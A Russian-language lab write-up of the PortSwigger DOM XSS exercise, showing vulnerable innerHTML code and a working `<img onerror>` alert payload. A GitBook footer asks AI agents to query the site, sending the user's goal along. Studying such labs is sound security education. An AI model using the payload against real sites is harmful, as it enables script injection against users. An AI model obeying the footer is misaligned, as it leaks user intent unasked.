> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/xss/dom-xss-with-innerhtml-and-location-search.md).

# DOM XSS с innerHTML и location.search

Заметки по DOM XSS с innerHTML и location.search для лабораторных работ PortSwigger Web Security Academy, включая процесс эксплуатации, тестирование полезной нагрузки, проверку в Burp Suite и контекст исправления.

### DOM XSS в приемнике innerHTML с использованием источника location.search

Уязвимость DOM XSS в функции поиска блога. Код извлекает значение `location.search` и вставляет его напрямую в DOM через `innerHTML`, что позволяет внедрить и выполнить JavaScript, когда значение поступает из URL.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b8aa13280eb3315c3528a9d2f7eb497be0dd6550%2F%7B444963A0-370C-4F85-93C2-2326197EB4F0%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Фрагмент наблюдаемого кода**

```javascript
function doSearchQuery(query) {
    document.getElementById('searchMessage').innerHTML = query;
}
var query = (new URLSearchParams(window.location.search)).get('search');
if(query) {
    doSearchQuery(query);
}
```

**Протестированные payload'ы**

* Простой payload (не интерпретируется): / `<script>alert("XSS")</script>`
* Тест на вставку элемента изображения:/ `<img src="test"</img>`/ (это не вызывает выполнение скрипта, поскольку отсутствует атрибут события)

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9d9efd80509a8f8ce27bb73dd64d4adfb8d92fc2%2F%7B50C1DB2A-BBDD-44E0-928A-257F04334961%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7b594a4e05aaaf7c0f0ede7df51965c9e9a42931%2F%7B24AED474-87F4-494A-AF22-B2D9ACC0341F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Вызовите ошибку загрузки, чтобы сработал `onerror` обработчик:/ `<img src=0 onerror=alert("XSS")>` / (этот payload использует `onerror` атрибут события для выполнения `alert` при сбое загрузки изображения)

```javascript
<img src=0 onerror=alert("xss")>
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8c45da08fcdb3080fc6cb4f6629f73c9ec937ec0%2F%7B3A8EB142-F97F-4D96-9104-AFF814B2380C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Скрипт напрямую влияет на `innerHTML` с помощью `поисковый` значение URL; поэтому HTML-фрагменты, содержащие обработчики событий (например, `onerror`) или исполняемые теги могут привести к выполнению кода.  `<img src=0 onerror=alert("XSS")>` payload вызывает ошибку загрузки и выполняет `alert("XSS")`, демонстрируя уязвимость DOM XSS.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ru/web/xss/dom-xss-with-innerhtml-and-location-search.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
